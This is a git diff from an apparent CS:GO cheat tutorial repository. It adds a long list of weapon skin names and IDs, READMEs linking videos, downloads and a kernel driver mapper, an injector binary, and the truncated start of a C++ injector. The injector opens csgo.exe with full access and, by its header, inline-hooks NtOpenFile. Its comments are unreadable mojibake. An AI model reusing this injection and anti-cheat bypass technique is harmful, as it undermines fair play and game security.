+"(awp)永恒之枪 - 756", +"(awp)浮生如梦 - 640", +"(awp)火卫— - 584", +"(awp)狮子之日 - 451", +"(awp)猫猫狗狗 - 718", +"(awp)王子 - 736", +"(awp)珊瑚树 - 181", +"(awp)电子蜂巢 - 227", +"(awp)石墨黑 - 212", +"(awp)粉红 DDPAT - 84", +"(awp)精英之作 - 525", +"(awp)红线 - 259", +"(awp)美杜莎 - 446", +"(awp)蠕虫之神 - 424", +"(awp)野火 - 917", +"(awp)雷击 - 51", +"(awp)鬼退治 - 662", +"(awp)黑色魅影 - 803", +"(bayonet)传说 - 558", +"(bayonet)自动化 - 573", +"(bayonet)黑色层压板 - 563", +"(bizon)丛林滑流 - 641", +"(bizon)买定离手 - 676", +"(bizon)化工之绿 - 376", +"(bizon)古董枪 - 306", +"(bizon)墨竹 - 457", +"(bizon)外表生锈 - 203", +"(bizon)收割机 - 594", +"(bizon)核燃料棒 - 508", +"(bizon)死亡主宰者 - 349", +"(bizon)水纹之印 - 224", +"(bizon)水蓝条纹 - 13", +"(bizon)海鸟 - 873", +"(bizon)设施系列·速写图 - 775", +"(bizon)路霸 - 884", +"(bizon)透光区 - 526", +"(bizon)都市虚线 - 149", +"(bizon)钻蓝半调 - 267", +"(bizon)黑夜暴乱 - 692", +"(cz75a)做旧手艺 - 944", +"(cz75a)先驱 - 435", +"(cz75a)印花板 - 602", +"(cz75a)复古圣杯 - 325", +"(cz75a)战术高手 - 687", +"(cz75a)梅红时刻 - 269", +"(cz75a)毒镖 - 315", +"(cz75a)氮化处理 - 322", +"(cz75a)猛虎 - 350", +"(cz75a)相柳 - 643", +"(cz75a)红鹰 - 543", +"(cz75a)经济 - 709", +"(cz75a)维多利亚 - 270", +"(cz75a)翡翠石英 - 859", +"(cz75a)聚合物 - 622", +"(cz75a)花纹钢板 - 268", +"(cz75a)螺形扭转 - 334", +"(cz75a)黄夹克 - 476", +"(deagle)午夜风暴 - 468", +"(deagle)大佬龙 - 527", +"(deagle)手上加农炮 - 328", +"(deagle)指挥 - 603", +"(deagle)日落风暴 壱 - 469", +"(deagle)日落风暴 弐 - 470", +"(deagle)机械工业 - 805", +"(deagle)科林斯遗产 - 509", +"(deagle)红色代号 - 711", +"(deagle)纳迦蛇神 - 397", +"(deagle)翡翠巨蟒 - 757", +"(deagle)蓝色层压板 - 945", +"(deagle)轻轨 - 841", +"(deagle)遗产 - 273", +"(deagle)钴蓝禁锢 - 231", +"(deagle)锈蚀烈焰 - 645", +"(deagle)阴谋者 - 351", +"(deagle)陨星 - 296", +"(deagle)青铜装饰 - 425", +"(deagle)飞行员 - 347", +"(deagle)黄金锦鲤 - 185", +"(elite)1.6精英 - 903", +"(elite)决斗家 - 447", +"(elite)卡特尔 - 528", +"(elite)双涡轮 - 747", +"(elite)左右开花 - 895", +"(elite)报应 - 307", +"(elite)毒蛇袭击 - 658", +"(elite)海斗士 - 261", +"(elite)熊熊烈焰 - 860", +"(elite)爆破能手 - 153", +"(elite)皇室伴侣 - 625", +"(elite)碎片 - 710", +"(elite)蔷薇 - 330", +"(elite)血红蛋白 - 220", +"(elite)通风机 - 544", +"(elite)都市冲击 - 396", +"(elite)钴蓝石英 - 249", +"(elite)黑榄仁木 - 190", +"(elite)黑豹 - 276", +"(elite)龙之双子 - 491", +"(famas)中士 - 288", +"(famas)保护色 - 835", +"(famas)元素轮廓 - 529", +"(famas)冥界之憎 - 371", +"(famas)厄运之喵 - 178", +"(famas)喷焰者 - 194", +"(famas)幸存者 Z - 492", +"(famas)日暮 - 869", +"(famas)暗夜锁链 - 863", +"(famas)机械工业 - 626", +"(famas)死亡之舞 - 659", +"(famas)残影 - 154", +"(famas)湖蓝涂装 - 92", +"(famas)灯神 - 429", +"(famas)电子脉冲 - 260", +"(famas)神经网 - 477", +"(famas)纪念碑 - 919", +"(famas)退役 - 904", +"(famas)防滚架 - 604", +"(famas)雅典娜之眼 - 723", +"(fiveseven)三位—体 - 530", +"(fiveseven)冷却剂 - 784", +"(fiveseven)夜影 - 223", +"(fiveseven)好兄弟 - 906", +"(fiveseven)怒氓 - 837", +"(fiveseven)斯康里娅 - 605", +"(fiveseven)日式荧光涂装 - 464", +"(fiveseven)暮色森林 - 78", +"(fiveseven)暴怒野兽 - 660", +"(fiveseven)朝枪夕拾 - 510", +"(fiveseven)毛细血管 - 646", +"(fiveseven)热火朝天 - 377", +"(fiveseven)焰色反应 - 693", +"(fiveseven)狩猎利器 - 352", +"(fiveseven)电镀青铜 - 210", +"(fiveseven)神祗 - 265", +"(fiveseven)绛之绽放 - 729", +"(fiveseven)耍猴把戏 - 427", +"(fiveseven)都市危机 - 387", +"(fiveseven)铜色星系 - 274", +"(fiveseven)银白石英 - 252", +"(fiveseven)霸意大名 - 585", +"(g3sg1)丛林虚线 - 147", +"(g3sg1)丰饶女神 - 195", +"(g3sg1)公海 - 712", +"(g3sg1)净化者 - 806", +"(g3sg1)弗卢克斯 - 493", +"(g3sg1)日式橙色涂装 - 465", +"(g3sg1)极地迷彩 - 74", +"(g3sg1)极寒迷彩 - 6", +"(g3sg1)柯罗诺斯 - 438", +"(g3sg1)橙光冲击 - 545", +"(g3sg1)毒刺 - 628", +"(g3sg1)猎人 - 677", +"(g3sg1)碧蓝斑纹 - 229", +"(g3sg1)穆拉诺之紫 - 739", +"(g3sg1)行刑者 - 511", +"(g3sg1)通风机 - 606", +"(g3sg1)黑暗豹纹 - 382", +"(g3sg1)黑砂 - 891", +"(galilar)~甜甜的~ - 661", +"(galilar)「经济」克鲁尔 - 428", +"(galilar)信号灯 - 807", +"(galilar)冬之森林 - 76", +"(galilar)冰核聚变 - 790", +"(galilar)冷石 - 494", +"(galilar)喧闹骷髅 - 398", +"(galilar)地狱看门犬 - 379", +"(galilar)战吼斑纹 - 842", +"(galilar)支离破碎 - 192", +"(galilar)水蓝阶地 - 460", +"(galilar)沙尘暴 - 264", +"(galilar)深红海啸 - 647", +"(galilar)火箭冰棒 - 478", +"(galilar)火线冲锋 - 546", +"(galilar)神祗 - 308", +"(galilar)隐蔽猎手 - 241", +"(galilar)黑砂 - 629", +"(glock)亡者之寝 - 399", +"(glock)合成叶 - 732", +"(glock)城里的月光 - 694", +"(glock)夺命撼响 - 293", +"(glock)子弹皇后 - 957", +"(glock)幻影冥魂 - 495", +"(glock)异星世界 - 680", +"(glock)战鹰 - 713", +"(glock)暮光星系 - 437", +"(glock)本生灯 - 479", +"(glock)核子反应 - 367", +"(glock)核子花园 - 789", +"(glock)水灵 - 353", +"(glock)沙丘之黄 - 208", +"(glock)烈焰天使 - 918", +"(glock)皇家军团 - 532", +"(glock)粉碎者 - 381", +"(glock)荒野反叛 - 586", +"(glock)蓝色裂纹 - 278", +"(glock)远光灯 - 799", +"(glock)铁之作 - 623", +"(glock)锈蚀烈焰 - 808", +"(glock)黑龙纹身 - 48", +"(glock)鼬鼠 - 607", +"(hkp2000)乳白象牙 - 357", +"(hkp2000)坚毅大理石纹 - 21", +"(hkp2000)廉价皮革 - 346", +"(hkp2000)手炮 - 485", +"(hkp2000)林间猎者 - 667", +"(hkp2000)海之泡沫 - 211", +"(hkp2000)海洋 - 550", +"(hkp2000)火灵 - 389", +"(hkp2000)珊瑚树 - 184", +"(hkp2000)电子脉冲 - 338", +"(hkp2000)红色碎片迷彩 - 275", +"(hkp2000)至尊威龙 - 591", +"(hkp2000)至高帝皇 - 515", +"(hkp2000)致命红蝎 - 71", +"(hkp2000)草原落叶 - 104", +"(hkp2000)草皮 - 635", +"(hkp2000)都市危机 - 700", +"(hkp2000)酸蚀 - 951", +"(hkp2000)黑曜石 - 894", +"(knife_falchion)致命紫罗兰 - 621", +"(knife_flip)传说 - 559", +"(knife_flip)自动化 - 574", +"(knife_flip)黑色层压板 - 564", +"(knife_gut)传说 - 560", +"(knife_gut)自动化 - 575", +"(knife_gut)黑色层压板 - 565", +"(knife_karambit)传说 - 561", +"(knife_karambit)自动化 - 576", +"(knife_karambit)自由之手 - 582", +"(knife_karambit)黑色层压板 - 566", +"(knife_m9_bayonet)传说 - 562", +"(knife_m9_bayonet)澄澈之水 - 579", +"(knife_m9_bayonet)自动化 - 577", +"(knife_m9_bayonet)自由之手 - 581", +"(knife_m9_bayonet)黑色层压板 - 567", +"(knife_tactical)致命紫罗兰 - 620", +"(knife_widowmaker)多普勒 - 854", +"(knife_widowmaker)多普勒 - 855", +"(knife_widowmaker)多普勒 - 852", +"(knife_widowmaker)多普勒 - 853", +"(knife_widowmaker)大马士革钢 - 858", +"(knife_widowmaker)渐变大理石 - 856", +"(m249)丛林 DDPAT - 202", +"(m249)冲击钻 - 472", +"(m249)岩浆 - 266", +"(m249)战隼 - 900", +"(m249)星云十字军 - 496", +"(m249)暴雪大理石纹 - 75", +"(m249)海滨预测者 - 452", +"(m249)系统锁定 - 401", +"(m249)翠绿箭毒蛙 - 648", +"(m249)阿兹特克 - 902", +"(m249)鬼影 - 547", +"(m4a1)X 光 - 215", +"(m4a1)丛林虎 - 16", +"(m4a1)主机 - 780", +"(m4a1)二西莫夫 - 255", +"(m4a1)变频器 - 793", +"(m4a1)咆哮 - 309", +"(m4a1)喧嚣杀戮 - 632", +"(m4a1)地狱烈焰 - 664", +"(m4a1)弹雨 - 155", +"(m4a1)战场之星 - 533", +"(m4a1)星级 - 187", +"(m4a1)暗之绽放 - 730", +"(m4a1)杀意大名 - 480", +"(m4a1)死寂空间 - 588", +"(m4a1)沙漠精英 - 336", +"(m4a1)波塞冬 - 449", +"(m4a1)渐变斑纹 - 176", +"(m4a1)狮鹫 - 384", +"(m4a1)皇家圣骑士 - 512", +"(m4a1)皇帝 - 844", +"(m4a1)破晓 - 471", +"(m4a1)辐射危机 - 167", +"(m4a1)镁元素 - 811", +"(m4a1)黑色魅影 - 695", +"(m4a1)龙王 - 400", +"(m4a1_silencer)二号玩家 - 946", +"(m4a1_silencer)伊卡洛斯殒落 - 440", +"(m4a1_silencer)原子合金 - 301", +"(m4a1_silencer)女火神之炽焰 - 548", +"(m4a1_silencer)守护者 - 257", +"(m4a1_silencer)控制台 - 792", +"(m4a1_silencer)暴怒野兽 - 430", +"(m4a1_silencer)机械工业 - 587", +"(m4a1_silencer)梦魇 - 714", +"(m4a1_silencer)次时代 - 360", +"(m4a1_silencer)毁灭者 2000 - 644", +"(m4a1_silencer)澄澈之水 - 189", +"(m4a1_silencer)破碎铅秋 - 681", +"(m4a1_silencer)神来之作 - 321", +"(m4a1_silencer)简报 - 663", +"(m4a1_silencer)翼蜥 - 383", +"(m4a1_silencer)苔藓石英 - 862", +"(m4a1_silencer)赤红新星 - 445", +"(m4a1_silencer)金蛇缠绕 - 497", +"(m4a1_silencer)闪回 - 631", +"(m4a1_silencer)骑士 - 326", +"(mac10)不可磨灭 - 188", +"(mac10)冉吉 - 498", +"(mac10)冲浪木 - 871", +"(mac10)孔雀石 - 402", +"(mac10)小牛皮 - 748", +"(mac10)捕猎者 - 589", +"(mac10)板条箱 - 908", +"(mac10)核子花园 - 372", +"(mac10)海洋 - 682", +"(mac10)渐变迪斯科 - 947", +"(mac10)潜行者 - 898", +"(mac10)炽热 - 284", +"(mac10)烧尽 - 337", +"(mac10)白鲑鱼 - 840", +"(mac10)绝界之行 - 651", +"(mac10)绯红镂刻 - 742", +"(mac10)诅咒 - 310", +"(mac10)赤金锁链 - 761", +"(mac10)通勤者皮革 - 343", +"(mac10)销声 - 812", +"(mac10)阿罗哈 - 665", +"(mac10)霓虹骑士 - 433", +"(mac10)青金鳄皮 - 534", +"(mag7)SWAG-7 - 703", +"(mag7)五指短剑 - 737", +"(mag7)危机色调 - 198", +"(mag7)反梗精英 - 462", +"(mag7)声纳 - 633", +"(mag7)外表生锈 - 754", +"(mag7)天空守卫 - 291", +"(mag7)核芯破裂 - 787", +"(mag7)正义 - 948", +"(mag7)海鸟 - 473", +"(mag7)灼烧之痕 - 385", +"(mag7)炽热 - 431", +"(mag7)石雕 - 608", +"(mag7)硬水 - 666", +"(mag7)碰碰狗 - 909", +"(mag7)禁卫军 - 535", +"(mag7)记忆碎片 - 177", +"(mag7)钴核 - 499", +"(mp5sd)协处理器 - 781", +"(mp5sd)小白鼠 - 800", +"(mp5sd)探员 - 915", +"(mp5sd)沙漠精英 - 949", +"(mp5sd)磷光体 - 810", +"(mp5sd)茂竹之园 - 872", +"(mp5sd)越野 - 753", +"(mp5sd)高斯 - 846", +"(mp5sd)鼻青脸肿 - 888", +"(mp7)七彩斑斓 - 893", +"(mp7)主板 - 782", +"(mp7)卷云 - 627", +"(mp7)地下水 - 209", +"(mp7)复仇者 - 481", +"(mp7)帝国 - 536", +"(mp7)恶作剧 - 847", +"(mp7)星点 - 442", +"(mp7)权力之心 - 719", +"(mp7)橄榄格纹 - 365", +"(mp7)死亡骷髅 - 11", +"(mp7)海之泡沫 - 213", +"(mp7)渐变之色 - 752", +"(mp7)血腥运动 - 696", +"(mp7)装甲核心 - 423", +"(mp7)速递 - 500", +"(mp7)都市危机 - 354", +"(mp7)陆军斥候 - 245", +"(mp7)青之绽放 - 728", +"(mp7)非洲部落 - 649", +"(mp9)中度威胁 - 804", +"(mp9)九头蛇 - 910", +"(mp9)干旱季节 - 199", +"(mp9)彩绘玻璃 - 867", +"(mp9)毛细血管 - 715", +"(mp9)气密 - 609", +"(mp9)滑移 - 755", +"(mp9)潘多拉魔盒 - 448", +"(mp9)焦油缠绕 - 679", +"(mp9)生化泄漏 - 549", +"(mp9)砂垢 - 630", +"(mp9)红宝石毒镖 - 482", +"(mp9)致命毒药 - 403", +"(mp9)落日 - 368", +"(mp9)野百合 - 734", +"(mp9)铁血玫瑰 - 262", +"(mp9)飞驰 - 386", +"(mp9)黑暗时代 - 329", +"(mp9)黑砂 - 697", +"(negev)*哒哒哒* - 317", +"(negev)动力装载机 - 514", +"(negev)原型机 - 950", +"(negev)大嘴巴 - 483", +"(negev)巴洛克之沙 - 920", +"(negev)无畏战神 - 432", +"(negev)核子废渣 - 369", +"(negev)棕榈色 - 201", +"(negev)沙漠精英 - 355", +"(negev)狮子鱼 - 698", +"(negev)眩目 - 610", +"(negev)舱壁 - 783", +"(negev)雷霆之锤 - 763", +"(negev)青绿地形 - 285", +"(nova)Exo - 590", +"(nova)兴风作浪 - 191", +"(nova)古董枪 - 286", +"(nova)巴洛克之橙 - 746", +"(nova)幽灵迷彩 - 225", +"(nova)惊惧骷髅 - 263", +"(nova)暴怒野兽 - 537", +"(nova)极地网格 - 107", +"(nova)樱花之绚烂 - 62", +"(nova)毒蜥 - 634", +"(nova)游侠 - 484", +"(nova)灼木 - 809", +"(nova)狂野六号 - 699", +"(nova)玩具士兵 - 716", +"(nova)石墨黑 - 214", +"(nova)胡桃木 - 158", +"(nova)芯轴 - 785", +"(nova)钢笼 - 299", +"(nova)锦鲤 - 356", +"(nova)风卷残云 - 890", +"(p250)二西莫夫 - 551", +"(p250)交换机 - 786", +"(p250)伦琴射线 - 125", +"(p250)元素轮廓 - 426", +"(p250)卡特尔 - 388", +"(p250)多面体 - 207", +"(p250)富兰克林 - 295", +"(p250)影魔 - 813", +"(p250)日式深红涂装 - 466", +"(p250)日式薄荷涂装 - 467", +"(p250)暗之镂刻 - 741", +"(p250)暗潮 - 271", +"(p250)曼海蒂 - 258", +"(p250)核子威慑 - 168", +"(p250)核子污染 - 373", +"(p250)死亡轮回 - 404", +"(p250)涟漪 - 650", +"(p250)炼狱小镇 - 907", +"(p250)狂野飞溅 - 162", +"(p250)生化短吻鳄 - 678", +"(p250)红岩 - 668", +"(p250)红巢 - 219", +"(p250)翼击 - 501", +"(p250)葡萄酒 - 749", +"(p250)设施系列·草图 - 777", +"(p250)超新星 - 358", +"(p250)铜绿 - 848", +"(p250)铠甲 - 592", +"(p90)三角 - 283", +"(p90)二西莫夫 - 359", +"(p90)冰川网格 - 111", +"(p90)冷血无情 - 611", +"(p90)冷血杀手 - 67", +"(p90)喵之萌杀 - 156", +"(p90)夺命器 - 593", +"(p90)巴洛克之红 - 744", +"(p90)异星世界 - 849", +"(p90)往日行动 - 911", +"(p90)日落百合 - 726", +"(p90)星辰巨蟒 - 759", +"(p90)棕色皮革 - 342", +"(p90)死亡之握 - 669", +"(p90)沙漠战争 - 311", +"(p90)沙漠涂装 - 124", +"(p90)浅坟 - 636", +"(p90)深蓝组件 - 335", +"(p90)牵引力 - 717", +"(p90)病毒危机 - 20", +"(p90)白蜡木 - 234", +"(p90)盲点 - 228", +"(p90)精英之作 - 486", +"(p90)精雕木刻 - 516", +"(p90)翡翠之龙 - 182", +"(p90)设施系列·底片图 - 776", +"(revolver)头骨粉碎者 - 843", +"(revolver)氮化处理 - 798", +"(revolver)水都泛波 - 866", +"(revolver)渐变之色 - 522", +"(revolver)渐变琥珀 - 523", +"(revolver)生存主义者 - 721", +"(revolver)稳 - 701", +"(revolver)美洲驼炮 - 683", +"(revolver)记忆碎片 - 892", +"(revolver)重新启动 - 595", +"(revolver)骸骨锻造 - 952", +"(sawedoff)刹车灯 - 797", +"(sawedoff)北海巨妖 - 256", +"(sawedoff)千纸鹤 - 434", +"(sawedoff)吞噬 - 720", +"(sawedoff)启示录 - 953", +"(sawedoff)外表生锈 - 323", +"(sawedoff)夜百合 - 673", +"(sawedoff)弄臣之颅 - 517", +"(sawedoff)梭鲈 - 655", +"(sawedoff)灌木丛 - 870", +"(sawedoff)破铜烂铁 - 552", +"(sawedoff)祥和之翼 - 405", +"(sawedoff)竹影 - 458", +"(sawedoff)聚光灯 - 596", +"(sawedoff)至高皮革 - 345", +"(sawedoff)荒野公主 - 638", +"(sawedoff)路霸 - 390", +"(sawedoff)镀铜 - 41", +"(sawedoff)马赛克 - 204", +"(sawedoff)黑砂 - 814", +"(scar20)丛林滑流 - 685", +"(scar20)丛林爆发 - 518", +"(scar20)仓库突击 - 914", +"(scar20)心脏打击 - 391", +"(scar20)执行者 - 954", +"(scar20)撕起来 - 896", +"(scar20)权力之心 - 612", +"(scar20)次时代 - 312", +"(scar20)沙漠网格 - 116", +"(scar20)溅射果酱 - 165", +"(scar20)石砌 - 865", +"(scar20)绿色陆战队 - 502", +"(scar20)翡翠色调 - 196", +"(scar20)蓝图 - 642", +"(scar20)蓝洞 - 406", +"(scar20)血腥运动 - 597", +"(sg556)三巨头 - 613", +"(sg556)危险距离 - 815", +"(sg556)四号栖息地 - 897", +"(sg556)大马士革钢 - 247", +"(sg556)幻影 - 686", +"(sg556)意式拉力 - 750", +"(sg556)擎天神 - 553", +"(sg556)旅行者皮革 - 363", +"(sg556)次时代 - 487", +"(sg556)浪花喷漆 - 186", +"(sg556)浪花穿孔 - 136", +"(sg556)电子脉冲 - 287", +"(sg556)红苹果 - 864", +"(sg556)豹灯蛾 - 519", +"(sg556)路障 - 861", +"(sg556)轻空 - 598", +"(sg556)辐射警告 - 378", +"(sg556)阿罗哈 - 702", +"(sg556)黯翼 - 955", +"(ssg08)喋血战士 - 899", +"(ssg08)巨铁 - 503", +"(ssg08)幽灵战士 - 554", +"(ssg08)手刹 - 751", +"(ssg08)无尽深海 - 361", +"(ssg08)橙黄镂刻 - 743", +"(ssg08)水中之血 - 222", +"(ssg08)浮生如梦 - 956", +"(ssg08)海滨印花 - 868", +"(ssg08)渐变强酸 - 253", +"(ssg08)炎龙之焰 - 624", +"(ssg08)热带风暴 - 233", +"(ssg08)玛雅之梦 - 200", +"(ssg08)血染风采 - 762", +"(ssg08)裂痕 - 304", +"(ssg08)迂回路线 - 319", +"(ssg08)通灵者 - 538", +"(ssg08)青苔虚线 - 26", +"(ssg08)鬼脸天蛾 - 670", +"(tec9)冰冠 - 599", +"(tec9)剪纸 - 671", +"(tec9)哈迪斯 - 439", +"(tec9)坍雪寒裘 - 520", +"(tec9)屠杀者 - 889", +"(tec9)战火重燃 - 555", +"(tec9)晶红石英 - 248", +"(tec9)核子剧毒 - 374", +"(tec9)核子威慑 - 179", +"(tec9)梗怖分子 - 463", +"(tec9)沙尘暴 - 289", +"(tec9)燃料喷射器 - 614", +"(tec9)狂哮飓风 - 206", +"(tec9)破铜烂铁 - 816", +"(tec9)碎蛋白石 - 684", +"(tec9)穆拉诺之橙 - 738", +"(tec9)竹林 - 459", +"(tec9)艾萨克 - 303", +"(tec9)蛇-9 - 722", +"(tec9)贾姆比亚 - 539", +"(tec9)遥控 - 791", +"(tec9)钛片 - 272", +"(tec9)锈叶 - 733", +"(tec9)闪光舞步 - 905", +"(tec9)陆军网格 - 242", +"(tec9)青竹伪装 - 839", +"(tec9)骨化之色 - 36", +"(ump45)x射线 - 688", +"(ump45)下士 - 281", +"(ump45)动量 - 802", +"(ump45)合金绽放 - 672", +"(ump45)城里的月光 - 851", +"(ump45)塑胶炸弹 - 916", +"(ump45)弥诺陶洛斯迷宫 - 441", +"(ump45)忘忧草 - 725", +"(ump45)支架 - 652", +"(ump45)暴乱 - 488", +"(ump45)白狼 - 704", +"(ump45)白骨之堆 - 193", +"(ump45)简报 - 615", +"(ump45)色如焦糖 - 93", +"(ump45)设施系列·深色图 - 778", +"(ump45)车王 - 436", +"(ump45)迷之宫 - 362", +"(ump45)迷幻 - 392", +"(ump45)野蛮剑齿虎 - 556", +"(usp_silencer)不锈钢 - 277", +"(usp_silencer)公路杀手 - 318", +"(usp_silencer)凯门鳄 - 339", +"(usp_silencer)力矩 - 489", +"(usp_silencer)商业皮革 - 364", +"(usp_silencer)守护者 - 290", +"(usp_silencer)宝蓝之色 - 332", +"(usp_silencer)引擎故障灯 - 796", +"(usp_silencer)枪响人亡 - 504", +"(usp_silencer)次时代 - 637", +"(usp_silencer)猎户 - 313", +"(usp_silencer)疯狂蔓延 - 183", +"(usp_silencer)绿色伞兵 - 454", +"(usp_silencer)脑洞大开 - 705", +"(usp_silencer)蓝图 - 657", +"(usp_silencer)血清 - 221", +"(usp_silencer)铅管 - 540", +"(usp_silencer)闪回 - 817", +"(usp_silencer)黑色魅影 - 653", +"(xm1014)五彩斑驳 - 689", +"(xm1014)剧毒水银 - 407", +"(xm1014)四季 - 654", +"(xm1014)天空守卫 - 314", +"(xm1014)宁静 - 393", +"(xm1014)寒霜锁链 - 760", +"(xm1014)斯康里娅 - 505", +"(xm1014)滑流 - 616", +"(xm1014)焚烬之鳄 - 850", +"(xm1014)特克卢喷射者 - 521", +"(xm1014)狂野丛林 - 205", +"(xm1014)碾骨机 - 370", +"(xm1014)红色皮革 - 348", +"(xm1014)芭蕉叶 - 731", +"(xm1014)蔚蓝多变迷彩 - 238", +"(xm1014)血红巨蟒 - 320", +"(xm1014)西装革履 - 557", +"(xm1014)都市穿孔 - 135", +"(xm1014)锈蚀烈焰 - 706", +"- - 0", +"人工染色 - 43", +"伽玛多普勒 - 570", +"伽玛多普勒 - 569", +"伽玛多普勒 - 568", +"伽玛多普勒 - 572", +"伽玛多普勒 - 571", +"军队之辉 - 298", +"加州迷彩 - 240", +"北方森林 - 77", +"午夜行动 - 236", +"噩梦之夜 - 40", +"地下水 - 2", +"坚固链甲 - 327", +"外表生锈 - 414", +"多变迷彩 - 235", +"多普勒 - 618", +"多普勒 - 416", +"多普勒 - 417", +"多普勒 - 418", +"多普勒 - 415", +"多普勒 - 420", +"多普勒 - 619", +"多普勒 - 617", +"多普勒 - 421", +"多普勒 - 419", +"夜色 - 735", +"大马士革钢 - 857", +"大马士革钢 - 411", +"大马士革钢 - 410", +"天秤之月 - 450", +"威吓者 - 39", +"对比涂装 - 22", +"寻路者 - 443", +"屠夫 - 59", +"工业牧草 - 95", +"捕食者 - 170", +"摧枯拉朽 - 244", +"暴风呼啸 - 100", +"枯焦之色 - 175", +"棕榈色 - 157", +"森林 DDPAT - 5", +"森林之叶 - 25", +"橘皮涂装 - 141", +"橙黄 DDPAT - 83", +"殖民侵略者 - 47", +"氮化处理 - 254", +"沙丘之黄 - 99", +"沙漠虚线 - 148", +"沙漠风暴 - 8", +"泥地杀手 - 90", +"深红之网 - 12", +"深红之网 - 232", +"深蓝电镀处理 - 28", +"渐变之色 - 38", +"渐变大理石 - 413", +"渐变琥珀 - 246", +"澄澈之水 - 578", +"火焰橙 - 166", +"炽烈之炎 - 37", +"燕尾 - 297", +"狂哮飓风 - 101", +"狂野丛林 - 151", +"狩猎网格 - 72", +"现代猎手 - 164", +"硝烟 - 15", +"碳素纤维 - 70", +"紫青之色 - 333", +"红苹果 - 3", +"绿色格纹 - 366", +"绿苹果 - 294", +"翡翠色调 - 453", +"自由之手 - 580", +"致命紫罗兰 - 98", +"蓝巢 - 218", +"蓝色云杉 - 96", +"蓝钛 - 216", +"蓝钢 - 42", +"虎牙 - 409", +"蛊惑之色 - 61", +"蝮蛇迷彩 - 30", +"血虎 - 217", +"表面淬火 - 44", +"贤者涂装 - 119", +"赤红新星 - 33", +"辐射警告 - 169", +"辐照警报 - 171", +"逮捕者 - 250", +"都市 DDPAT - 17", +"都市伪装 - 143", +"都市瓦砾 - 237", +"金属 DDPAT - 34", +"钢铁禁锢 - 230", +"银装素裹 - 102", +"银质 - 32", +"阿努比斯之审判 - 542", +"雇佣兵 - 46", +"骸骨外罩 - 27", +"鳄鱼网格 - 243", +"黄铜 - 159", +"黑水 - 60", diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/O.\345\212\240\350\275\275\351\251\261\345\212\250\347\232\204\345\256\214\347\276\216\346\226\271\346\263\225/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/O.\345\212\240\350\275\275\351\251\261\345\212\250\347\232\204\345\256\214\347\276\216\346\226\271\346\263\225/README.md" new file mode 100644 index 0000000..97ab211 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/O.\345\212\240\350\275\275\351\251\261\345\212\250\347\232\204\345\256\214\347\276\216\346\226\271\346\263\225/README.md" @@ -0,0 +1,20 @@ +## 好吧视频里有杂声,没办法了将就一下吧,也就20分钟,哈哈哈哈 ^-^ + +链接: https://pan.baidu.com/s/1XBx0uJLLGm3FtXpiaAg84Q 提取码: 9sps + +[在线观看](https://www.ixigua.com/6852315742743101966/?utm_source=xiguastudio) + +## [项目地址](https://github.com/FiYHer/kdmapper) + +# 截图展示 +

+ +

+ + + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/O.\345\212\240\350\275\275\351\251\261\345\212\250\347\232\204\345\256\214\347\276\216\346\226\271\346\263\225/temp.png" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/O.\345\212\240\350\275\275\351\251\261\345\212\250\347\232\204\345\256\214\347\276\216\346\226\271\346\263\225/temp.png" new file mode 100644 index 0000000..309acc4 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/O.\345\212\240\350\275\275\351\251\261\345\212\250\347\232\204\345\256\214\347\276\216\346\226\271\346\263\225/temp.png" differ diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/P.CSGO\346\263\250\345\205\245\345\260\217\345\212\251\346\211\213/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/P.CSGO\346\263\250\345\205\245\345\260\217\345\212\251\346\211\213/README.md" new file mode 100644 index 0000000..ac391b1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/P.CSGO\346\263\250\345\205\245\345\260\217\345\212\251\346\211\213/README.md" @@ -0,0 +1,10 @@ + +## [网盘地址 - 提取码:fqk2](https://pan.baidu.com/s/1kYOUYpviZoN9Vwlh2CP68g) + +## [在线观看](https://www.ixigua.com/6854594958062518798/?utm_source=xiguastudio) + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/P.CSGO\346\263\250\345\205\245\345\260\217\345\212\251\346\211\213/csgo_inject.exe" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/P.CSGO\346\263\250\345\205\245\345\260\217\345\212\251\346\211\213/csgo_inject.exe" new file mode 100644 index 0000000..d1e9e07 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/P.CSGO\346\263\250\345\205\245\345\260\217\345\212\251\346\211\213/csgo_inject.exe" differ diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/P.CSGO\346\263\250\345\205\245\345\260\217\345\212\251\346\211\213/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/P.CSGO\346\263\250\345\205\245\345\260\217\345\212\251\346\211\213/main.cpp" new file mode 100644 index 0000000..cb0b7c1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/P.CSGO\346\263\250\345\205\245\345\260\217\345\212\251\346\211\213/main.cpp" @@ -0,0 +1,128 @@ +/* +CSGOעС +ԭ : ޸NtOpenFileinline hook +*/ + +#include +#include +#include +#include +#include + +#include +#include + +/* ȡCSGO̾ */ +HANDLE GetProcessHandle() +{ + /* 򿪱̾ */ + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (Snap == INVALID_HANDLE_VALUE) return Snap; + + /* ʼϢṹ */ + PROCESSENTRY32 ProcessInfo{ 0 }; + ProcessInfo.dwSize = sizeof(ProcessInfo); + + /* ѭҽϢ */ + if (Process32First(Snap, &ProcessInfo)) + { + do + { + if (strcmp("csgo.exe", ProcessInfo.szExeFile) == 0) + { + CloseHandle(Snap); + return OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessInfo.th32ProcessID); + } + } while 